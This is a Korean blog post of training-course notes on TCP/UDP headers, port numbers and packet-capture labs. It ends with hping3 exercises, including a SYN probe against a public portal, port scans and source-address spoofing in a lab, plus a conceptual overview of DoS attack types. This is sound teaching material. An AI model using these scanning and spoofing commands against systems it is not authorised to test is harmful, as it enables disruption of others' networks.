블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2025.5
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글

==================================================메 모==================================================

TCP 3-Way Hand shake, 4-Way hand shake
http://blog.naver.com/ksmsumu/20175856965
http://blog.naver.com/jutlsgood/90189455965

# hping3 -S www.daum.net -p 80 -c 3
 -S : tcp syn request
 -p : port
 -c : which times you send request

raw socket programming

루비(Ruby) 언어

================================================강의/실습================================================

10. 전송계층(Transport Layer)

■ TCP / UDP의 특징
■ Header 분석
         - TCP Header 분석
         - UDP Header 분석
■ 포트 번호 체계
■ 대표적인 서비스 패킷 분석
         - telnet packet 분석
         - ftp packet 분석
         - nslookup packet 분석

 

(1). 전송계층 프로토콜의 특징(Protocol Characteristic)

■ TCP(Transmission Control Protocal)
■ UDP(User Datagram Protocol)
 
 

(1-1). TCP(Transmission Control Protocal)

TCP 프로토콜의 특징
● 연결형 기반 서비스(Connection Oriented Protocol)
● 상태 기반 서비스(Statefull Protocol)
● 신뢰 기반 서비스(Reliable Protocol)
 
(예) TCP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)
 # cat /etc/services | grep –i tcp
 # nmap localhost
 # netstat -an | more
● 대표적인 TCP 기반 서비스:
 - telnet
 - FTP(File Transfer Protocol)
 - HTTP(Hypertext Transfer Protocol)
 - ssh
 - SMTP(Simple Mail Transfer Protocol)
 - NFSv4(Network File System Version 4)
 - 기타

(1-2). UDP(User Datagram Protocol)

UDP 프로토콜의 특징
● 비연결형 서비스(Connectionless Protocol)
● 비상태 서비스(Stateless Protocol)
● 비신뢰 서비스(Unreliable Protocol)
 
(예) UDP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)
 # cat /etc/services | grep –i udp
 # nmap localhost
  # netstat -an | more
● 대표적인 UDP 서비스:
 - DNS(Domain Name System) query
 - SNMP(Sime Netowrk Management Protocol) data
 - NTP(Network Time Protocol) data
 - TFTP(Trivial FTP)
 - DHCP(Dynamic Host Configuration Protocol)
 - NFS(Network File System)
 - NFSv2, NFSv3
 - RIP(Routing Information Protocol)
 - 기타


(2). TCP 헤더 분석

                               +--------------+            +-----------------+
                               |  Message     |            | FTP, telnet, ...|
                               +--------------+            |                 |
                    +----------+--------------+            +--------+--------+
                    |TCP Header|  Message     |            |  TCP   |  UDP   |
                    +----------+--------------+            |        |        |
                                                           +--------+--------+
                                                           |                 |
                                                           | ICMP/IGMP       |
         +----------+-------------------------+            |                 |
         |IP Header |TCP Header|  Message     |            |     IP          |
         +----------+-------------------------+            |                 |
                                                           |       ARP/RARP  |
                                                           |                 |
                                                           +-----------------+
+--------+----------+----------+--------------+--------+   |                 |
| Ether  |IP Header |TCP Header|  Message   |   CRC  |   |Network Interface|
| Header |          |          |         |        |   |                 |
+--------+----------+----------+--------------+--------+   +-----------------+

                  [그림] TCP Encapsulation in IP Datagram

 


[실습] TCP 패킷을 캡쳐하고 TCP 헤더를 분석
- telnet 과정 중 첫번째 패킷을 가지고 TCP 헤더를 분석한다.
- win2008(telnet CMD) --> linux200(telnetd(23))

 Display Filter : ip.addr == 192.168.20.200

[참고] TCP 헤더 분석
- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)

■ 발신지 포트(Source Port, 16 bits)
● 송신 호스트 응용프로세스가 사용하는 번호

■ 목적지 포트(Destnation Port, 16 bits)
● 수신 호스트 응용프로세스가 사용하는 번호

■ 순차 번호(Sequence Number)
● TCP 각 세그먼트의 첫번째 바이트에 부여되는 번호.
● 신뢰성 있는 데이터 전송을 위해 모든 바이트마다 일련 번호 부착.
● 32bits 필드로 실제 데이터 첫 번째 바이트에 부여된 번호. 32 bits 이므로 최대 4기가(2^32) 바이트 크기의 송신 데이터에 순서화된 일련번호를 붙일수 있음
● 초기 순차번호(ISN, Initial Sequence Number)- TCP 연결설정 동안 난수발생기를 이용하여 초기순서번호(ISN)를 생성- TCP 양방향이므로 각 방향 마다 다른 ISN 번호가 사용됨.

■ 응답 확인 번호(Acknowledgement number, 32 bits)
● 수신한 세그먼트의 확인 응답을 위한 32bits 필드
● 세그먼트에 실린 데이터의 마지막 바이트의 순차 번호에 1을 더한 값.- 수신하기를 기대하는 다음 바이트 번호 = (마지막 수신 성공 순서번호 + 1)

■ 헤더 길이(Header Length, 4 bits)
● TCP 헤더 길이를 나타내는 4bits 필드.
● 4바이트(32 비트) 단위로 표시. 따라서, TCP 헤더 길이는 총 60 바이트 이하
● 헤더의 길이가 20-60 이므로 5-12 사이의 값.

■ TCP 제어 플래그(TCP Control Flag, 6 bits)
● 각 필드 흐름제어, 종료, 데이터 전송 모드용 6bit 구성.
● URN : 긴급 플래그(Urgent pointer), 긴급한 처리를 요하는 것을 알림.- 송신측 상위계층이 긴급 데이터라고 하면, 긴급비트를 1로 설정하고 순서에 상관없이 먼저 송신됨, 긴급 데이터의 마지막 바이트 위치가 Urgent pointer로 가리켜짐
● ACK : 응답(Acknowledgement) 플래그, 응답패킷에 모두 1로 세팅됨.- 1로 세팅되면, 확인번호 유효함을 뜻함- 0로 세팅되면, 확인번호 미포함(즉, 32비트 크기의 확인응답번호 필드 무시됨)- SYN 세그먼트 전송 이후 세그먼트에는 항상 이 비트가 1로 세팅이 됨.
● PSH : Push 플래그, 실제 데이터의 전송이 일어나고 있음을 표시.- 가능한한 빨리 응용프로그램에 버퍼링된 데이터를 즉시 전달할것. 수신측은 버퍼가 찰 때까지 기다리지 않고 수신 즉시 어플리케이션에 전달.- 서버측에서는 더이상 전송할 데이터가 없음을 나타내기도 함.
● RST : Reset 플래그, 비정상적인 종료를 위한 플래그.- 연결확립(ESTABLISHED)된 회선에 강제 리셋 요청.
● SYN : 연결(Synchronize)요청 플래그, 정상적인 연결을 요청할 때 사용되는 플래그.- TCP 연결 설정 초기화를 위한 순서번호의 동기화      연결요청: SYN=1, ACK=0      연결허락: SYN=1, ACK=1      연결설정: ACK=1

● FIN : Finish 플래그, 정상적인 연결의 종료에 사용되는 플래그- 송신기가 데이터 보내기를 끝마침       종결요청: FIN=1       종결응답: FIN=1, ACK=1
■ 윈도우 크기(Window size, 16 bits)
● 응답 확인을 받기 전에 보낼 수 있는 데이터의 양을 뜻함.
● 윈도우 크기가 16bit이므로 최대 65535 Bytes(2^16)까지임.
● 흐름제어를 위해 사용하는 16비트 필드이며 TCP 흐름제어를 위해 통신의 상대편에게 자신의 버퍼 여유용량 크기를 지속적으로 통보하여 주는 기능을 함.
● 수신측에 의해 능동적으로 흐름제어를 수행하게 됨.

■ 검사합(Checksum, 16 bits)
● 각 TCP 세그먼트 변형 여부 확인
● IP와 달리 전체 세그먼트의 변형 여부를 나타낸다.
● 실제 헤더 이외에도 발신, 수신 IP 주소 및 프로토콜 ID등을 추가하여 체크섬을 계산함.       체크섬 계상 대상: (가상 헤더 + 실제 헤더 + 데이터 + 패딩)
          가상 헤더: 발신 IP + 수신 IP + zero(8bits) + 프로토콜 ID + UDP/TCP 길이          실제 헤더: 실제 TCP/UDP 헤더
■ 긴급포인터(Urgent Pointer, 16 bits)
● 세그먼트가 긴급 데이터를 포함하고 있을 때.
● 제어 플래그가 1로 설정시 16비트 필드값과 순차번호를 더하면 긴급 데이터 바이트 번호, 위치를 얻을 수 있음.
● TCP 세그먼트에 포함된 긴급 데이터의 마지막 바이트에 대한 일련번호.- 현재 일련번호(sequence number)로 부터 긴급 데이터까지의 바이트 오프셋(offset).- 해당 세그먼트의 일련번호에 urgent point 값을 더해 긴급 데이터의 끝을 알수 있음.

■ 옵션(Options)
● 최대 40바이트까지 옵션 데이터 포함 가능.
● TCP MSS 옵션을 협상하거나, 타임스탬프 옵션 정의 등

 

(4) UDP 헤더 분석(UDP Header Analysis)

                               +--------------+            +-----------------+
                               |  Message     |            | DNS, NTP ....   |
                               +--------------+          |                 |
                    +----------+--------------+            +--------+--------+
                    |UDP Header|  Message     |            |  TCP   |  UDP   |
                    +----------+--------------+            |        |        |
                                                           +--------+--------+
                                                           |                 |
                                                           | ICMP/IGMP       |
         +----------+-------------------------+            |                 |
         |IP Header |UDP Header|  Message     |            |     IP          |
         +----------+-------------------------+            |                 |
                                                           |       ARP/RARP  |
                                                           |                 |
                                                           +-----------------+
+--------+----------+----------+--------------+--------+   |                 |
| Ether  |IP Header |UDP Header|  Message   |   CRC  |   |Network Interface|
| Header |          |          |          |        |   |                 |
+--------+----------+----------+--------------+--------+   +-----------------+

                [그림] UDP Encapsulation in IP Datagram


[실습] UDP 패킷을 캡쳐하고 UDP 헤더를 분석
● RFC 768, RFC 1122
● nslookup 명령어의 패킷을 캡쳐하고 UDP 헤더 부분을 분석한다.
● linux200(nslookup CMD) --> kns.kornet.net(named(53))

 Display Filter : ip.addr == 192.168.20.200

[참고] UDP 헤더 분석

- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)

■ 발신 포트(Source Port, 16 bits)
● 송신 호스트 응용프로세스가 사용하는 번호

■ 수신 포트(Destnation Port, 16 bits)
● 수신 호스트 응용프로세스가 사용하는 번호

■ 패킷 전체 길이(Packet Total Length, 16bits)
● 바이트 단위의 길이. 최소값 8(헤더만 포함될 때)

■ 검사합(Checksum, 16 bits)
● 선택 항목. 체크섬 값이 0이면 수신측은 체크섬 계산 안함

 

(5) 포트(Port) 번호 체계

 포트(Port) = 서비스(Service)

(5-1) 포트 번호가 필요한 이유?
 ■ IP 주소(IP Address) : 호스트(Host) 또는 물리적인 포트를 구분하기 위한 번호
 ■ 포트 주소(Port Address, Port Number) : 서비스(Service) 구분하기 위한 번호

(5-2) 포트 번호(Po-rt Number)에 대한 설명

 MAC 주소(MAC Addr) : 6 bytes  (48 bits)
 IP 주소(IP Addr)   : 4 bytes  (32 bits)
 Port 주소(Port Num): 2 bytes  (16 bits)

(5-3) 포트 번호 체계

The port numbers are divided into three ranges:
----------------------------------------------------------
   포트 종류                            포트 번호
----------------------------------------------------------
■ The Well-Known Ports                 0     - 1023
■ The Registered Ports                 1024  - 49151
■ The Dynamic and/or Priv ate Ports.   49152 - 65535
----------------------------------------------------------

(5-4) 네트워크 서비스 포트

Many system applications support network services. Each network service uses a port that represents an address space reserved for that service. If a port number is not pre-assigned, the operating system allows an application to choose an unused port number. A client often communicates with a server through a well-known port. Well-known ports are stored in the /etc/inet/services file.

 [참고] C:\Windows\system32\Drivers\etc\services

# cat /etc/services | more

..... (중략) .....
#
# The latest IANA port assignments can be gotten from
#       http://www.iana.org/assignments/port-numbers
# The Well Known Ports are those from 0 through 1023.
# The Registered Ports are those from 1024 through 49151
# The Dynamic and/or Private Ports are those from 49152 through 65535
#
# Each line describes one service, and is of the form:
#
# service-name  port/protocol  [aliases ...]   [# comment]

tcpmux          1/tcp                           # TCP port service multiplexer
tcpmux          1/udp                           # TCP port service multiplexer
rje             5/tcp                           # Remote Job Entry
rje             5/udp                           # Remote Job Entry
echo            7/tcp
echo            7/udp
..... (중략) .....


..... (중략) .....
#
# The latest IANA port assignments can be gotten from
#       http://www.iana.org/assignments/port-numbers
# The Well Known Ports are those from 0 through 1023.
# The Registered Ports are those from 1024 through 49151
# The Dynamic and/or Private Ports are those from 49152 through 65535
#
# Each line describes one service, and is of the form:
#
# service-name  port/protocol  [aliases ...]   [# comment]

tcpmux          1/tcp                           # TCP port service multiplexer
tcpmux          1/udp                           # TCP port service multiplexer
rje             5/tcp                           # Remote Job Entry
rje             5/udp                           # Remote Job Entry
echo            7/tcp
echo            7/udp
..... (중략) .....


--------------------------------------------
필드 설명
--------------------------------------------
smtp 서비스명
25/tcp 포트번호/프로토콜
mail 별칭(Alias)
--------------------------------------------


(5-5) 대표적인 서비스 포트
----------------------------------------------------
포트    설명
----------------------------------------------------
20,21 FTP
22 SSH
23 TELNET
25 SMTP
53 DNS
67      DHCP Server
68      DHCP Client
69      TFTP
79      finger
80 http
110 POP3
111     sunrpc
123     NTP
143 IMAP
161    SNMP
162   SNMP Trap
443     https
514    syslogd
2049    nfsd
7100   fs
----------------------------------------------------

 

(5-6) 포트번호 확인

■ 포트번호의 전체 목록:
    http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml
■ 포트번호의 전체 목록:
 # cat /etc/services
■ 서버에서 사용중인 포트번호 번호 목록
 # nmap localhost
 # netstat -an | more (# netstat -antp, # netstat -anup)

 

(5-7) 실무적인 예

 --------- (Firewall/Router) -------+--------+--------+------
                            |   | |
          ServerA  ServerB  ServerC
                                  (FTP)     (WEB)    (MAIL)


(전제조건) 서버에서만 서비스 하는 경우라고 가정한다면

(서버에서)
 요청: FTP 서비스 포트를 열어 달라!!!!
 -> FTP 서비스 enable

(네트워크 장비:라우터/스위치/방화벽)
 요청: FTP 서비스 포트를 열어 달라!!!!
 -> FTP 서비스 접근 제어(ACL) Open

 (linux200)
 # nmap localhost
 # netstat -an | grep :21

 # service vsftpd stop
 # nmap localhost
 # netstat -an | grep :21

 # service vsftp start
 # nmap localhost
 # netstat -an | grep :21

 


[실습] 자신의 서버에 열린 포트를 점검

 

자신의 서버에 서비스가 되고 있는 열린 포트를 점검하기

 

 

[실습] 자신 서버에 서비스되고 있는 열린 포트를 점검하기

■ 사용시스템
- firewall
- linux200
- win2008


(linux200)

■ 리눅스 서버에서 서비스 포트 정리하기
# cat /etc/services
-> 대표적인 서비스의 서비스 포트를 확인한다.
-> EX) ftp, telnet, ssh, mail, dns, dhcp, pop3 등

 -> 대표적인 서비스 포트들을 목록으로 정리한다.(2분)
    [링크] /etc/services (CentOS 5.9)


■ 리눅스 서버에서 nmap 명령어의 출력 결과와 /etc/services 파일 비교하기
nmap 툴을 사용하는 경우
# cat /etc/resolv.conf
nameserver 168.126.63.1

# yum -y install nmap
# nmap localhost
-> 목록의 서비스와 /etc/services 파일을 비교한다.
-> FTP 서비스 open?
-> SSH 서비스 open?
-> TELNET 서비스 open?


■ 리눅스 서버에서 netstat 명령어 사용해 보기
netstat 명령어를 사용하는 경우
# netstat -an | more
# netstat -an | grep '^tcp'  (# netstat -ant)
# netstat -an | grep '^udp'  (# netstat -anu)

 


(windows2008)

■ 윈도우즈 2008 서버에서 etc/services 파일 확인해 보기
<Windows + E> => C:\Windows\system32\drivers\etc\services 파일을 확인한다.


■ 윈도우즈 2008 서버에 nmap 툴을 설치하기
nmap 툴을 사용하는 경우
- 프로그램 다운로드 사이트
 http://nmap.org/book/inst-windows.html
- 기본설치를 하고 바탕화면의 아이콘을 더블클릭한다.
- nmap 실행시 기본값으로 포트 스캐닝 작업을 한다.


■ 구글/네이버에 접속하고 netstat 명령어를 접속 서버에 대한 정보를 확인해 보기
netstat 명령어를 사용하는 경우
c:\> netstat -a

웹브라우저(http://www.google.co.kr)

c:\> netstat -a

 

 

 

(6). TCP/UDP 대표적인 서비스 패킷 분석
■ telnet 패킷 분석
■ ftp 패킷 분석
■ ssh 패킷을 캡쳐하여 분석
■ web 패킷을 분석
■ nslookup 패킷 분석


[실습] telnet 패킷을 분석하기
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(telnet CMD) --> linux200(telnetd(23))


[실습] ftp 패킷을 분석하기
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(ftp CMD) --> linux200(vsftpd(21,20))- ftp 접속시 active(not passive)로 접속한다.


[실습] ssh 패킷을 캡쳐하여 분석한다.
● 평문형태와 암호화된 형태의 패킷의 차이점에 대해 분석한다.
● win2008(putty) --> linux200(sshd(22))


[실습] WEB 패킷을 캡쳐하여 분석한다.
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(Web Browser) --> linux200(httpd(80))


[실습] nslookup 패킷 분석하기
● DNS 헤더(DNS Data) 부분을 중점적으로 분석한다.
● linux200(nslookup CMD) --> kns.kornet.net(named(53))
 display filter : ! arp && ! dhcpv6 && ip.addr == 192.168.20.200


[실습] ping 안되는 사이트에 대한 hping3 명령어 사용하기

C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\02_2.1_모의해킹_침해대응_개요\01_네트워크이론\실습\ping 안되는 사이트에 대한 hping3 사용하기.hwp

 

 


ping 안되는 사이트에 대한 hping3 사용하기

 


■ 사용시스템
- kaliLinux


 * ping 안되는 사이트(대표적인 사이트)
 -> www.daum.net
 -> www.naver.com

 * ping 잘되는 사이트(대표적인 사이트)
 -> www.google.com
 -> www.facebook.com


(KaliLinux)
# cat /etc/resolv.conf

search example.com
domain example.com
nameserver 168.126.63.1


# wireshark &

# ping -c 3 www.daum.net

PING www.g.daum.net (117.52.2.26) 56(84) bytes of data.

--- www.g.daum.net ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2017ms

-> ping 되는가?
-> 안된다면 www.daum.net 사이트가 죽어 있는 것인가?

# hping3 -S www.daum.net -p 80 -c 3
 -S : tcp syn request
 -p : port
 -c : which times you send request

HPING www.daum.net (eth0 180.70.93.56): S set, 40 headers + 0 data bytes
len=46 ip=180.70.93.56 ttl=128 id=2956 sport=80 flags=SA seq=0 win=64240 rtt=11.0 ms
len=46 ip=180.70.93.56 ttl=128 id=2957 sport=80 flags=SA seq=1 win=64240 rtt=8.8 ms
len=46 ip=180.70.93.56 ttl=128 id=2958 sport=80 flags=SA seq=2 win=64240 rtt=12.0 ms

--- www.daum.net hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 8.8/10.6/12.0 ms

 

[토론] 어떤 방식인것인가?
- 패킷을 분석하여 어떤 방식으로 통신이 되고 있는 것인지 분석한다.

 display options: ! dns && ! arp && ip.addr == 192.168.10.50

(wireshark 출력 화면)
2015-07-23 07:36:25.784084000 192.168.10.50 180.70.93.56 TCP 54 h248-binary > http [SYN] Seq=0 Win=512 Len=0
2015-07-23 07:36:25.794896000 180.70.93.56 192.168.10.50 TCP 60 http > h248-binary [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
2015-07-23 07:36:25.794971000 192.168.10.50 180.70.93.56 TCP 54 h248-binary > http [RST] Seq=1 Win=0 Len=0

 

 

 

 

hping3 툴에 대한 다른 스캐닝 방법도 배워보자.
- 다음 방법을 수행할 때 각각에 대한 패킷 캡쳐를 통해 분석하여 보자.


# hping3 -h     (# hping3 --help)

usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood    sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt     Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

 

(1) 첫번째 테스트
# hping3 -S 192.168.20.200 -p 80 -c 5
 -S : tcp syn request
 -p : port
 -c : which times you send request
 in this case we use 5 for send request 5 times

HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=5840 rtt=1.6 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=5840 rtt=0.7 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=5840 rtt=0.7 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=3 win=5840 rtt=0.8 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=4 win=5840 rtt=0.7 ms

--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.7/0.9/1.6 ms

 

(2) 두번째 테스트
# hping3 -S 192.168.20.200 -p ++50 -c 5   /* DNS ip */
 -S : tcp syn request
 -p : port(++50 : 50 ~ 54)

HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=50 flags=RA seq=0 win=0 rtt=1.6 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=51 flags=RA seq=1 win=0 rtt=0.6 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=52 flags=RA seq=2 win=0 rtt=0.4 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=53 flags=SA seq=3 win=5840 rtt=0.8 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=54 flags=RA seq=4 win=0 rtt=0.4 ms

--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.8/1.6 ms

 

 

 

(3) 세번째 테스트
# hping3 -1 192.168.20.200 --icmp-ts -c 5
 -1 : use ICMP
 --icmp-ts : request time stemp
 -c : which times you send request

HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 id=25629 icmp_seq=0 rtt=0.4 ms
ICMP timestamp: Originate=29986664 Receive=29985666 Transmit=29985666
ICMP timestamp RTT tsrtt=0

len=46 ip=192.168.20.200 ttl=64 id=25630 icmp_seq=1 rtt=0.3 ms
ICMP timestamp: Originate=29987665 Receive=29986667 Transmit=29986667
ICMP timestamp RTT tsrtt=0

len=46 ip=192.168.20.200 ttl=64 id=25631 icmp_seq=2 rtt=0.3 ms
ICMP timestamp: Originate=29988665 Receive=29987668 Transmit=29987668
ICMP timestamp RTT tsrtt=1

len=46 ip=192.168.20.200 ttl=64 id=25632 icmp_seq=3 rtt=0.3 ms
ICMP timestamp: Originate=29989666 Receive=29988668 Transmit=29988668
ICMP timestamp RTT tsrtt=0

len=46 ip=192.168.20.200 ttl=64 id=25633 icmp_seq=4 rtt=0.3 ms
ICMP timestamp: Originate=29990666 Receive=29989669 Transmit=29989669
ICMP timestamp RTT tsrtt=1


--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.3/0.4 ms

 

(4) 네번째 테스트
# hping3 -8 50-56 -S 192.168.20.200
we also use hping3 like nmap
 -8 : scan
 -S : tcp syn request

Scanning 192.168.20.200 (192.168.20.200), port 50-56
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   53 domain     : .S..A...  64     0  5840    46
All replies received. Done.
Not responding ports:

 

(5) 다섯번째 테스트
# hping3 -2 192.168.20.200 -p 80 -c 5
 -2 : UDP scan
 -p : port
 -c : which times you send request

HPING 192.168.20.200 (eth1 192.168.20.200): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN   status=0 port=2626 seq=0
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN   status=0 port=2627 seq=1
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN   status=0 port=2628 seq=2
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN   status=0 port=2629 seq=3
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN   status=0 port=2630 seq=4

--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/35.6/176.2 ms

 

 

 

(6) 여섯번째 테스트

# wireshark &
1    192.168.20.204 192.168.20.200 ICMP   42    Echo (ping) request  id=0xa215, seq=0/0, ttl=64
3    192.168.20.204 192.168.20.200 ICMP   42    Echo (ping) request  id=0xa215, seq=256/1, ttl=64
5    192.168.20.204 192.168.20.200 ICMP   42    Echo (ping) request  id=0xa215, seq=512/2, ttl=64

2 31.823261000 192.168.20.201 192.168.20.200 ICMP 42 Echo (ping) request  id=0xda15, seq=0/0, ttl=64 (reply in 5)
5 31.825092000 192.168.20.200 192.168.20.201 ICMP 60 Echo (ping) reply    id=0xda15, seq=0/0, ttl=64 (request in 2)
8 31.826226000 192.168.20.201 192.168.20.200 ICMP 70 Destination unreachable (Protocol unreachable)

-> 패킷 분석(소스 IP 부분을 확인)

# hping3 -1 192.168.20.200 -a 192.168.20.204 -c 3

HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes

--- 192.168.20.200 hping statistic ---
3 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms


# hping3 -1 192.168.20.200 -a 192.168.20.201 -c 3

HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 id=41975 icmp_seq=0 rtt=2.0 ms
len=46 ip=192.168.20.200 ttl=64 id=41976 icmp_seq=1 rtt=0.8 ms
len=46 ip=192.168.20.200 ttl=64 id=41977 icmp_seq=2 rtt=0.5 ms

--- 192.168.20.200 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.5/1.1/2.0 ms

 

 

 

 

 

■ DoS(Denial of Service) Attack Type
 
 LAND Attack  -> DoS attack (1:1)
 Smurf Attack -> DDoS attack(N:1)

LAND(Local Area Network Denial) attack is a DoS(Denial of Service) attack.
The Smurf Attack is a DDoS(Distributed Denial-of-Service) attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address.

DoS(Denial of Service) Attack Types
● Flood Attack
● Software Attack

(1) Flood Attack
● TCP SYN Flood공격자 IP를 spoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법.
● UDP Flood AttackUDP Body에 Garbage Data를 Padding 하여 공격하는 방법.
● ICMP Smurfing AttackICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법.
● ICMP Flood Attack

(2) Software Attack
● Ping of Deathping 명령어를 이용하여 ICMP 패킷을 비 정상적으로 크게 만들어 공격하는 방법.
● TearDrop패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)

다른 방식으로 DoS/DDoS 구분하는 방법
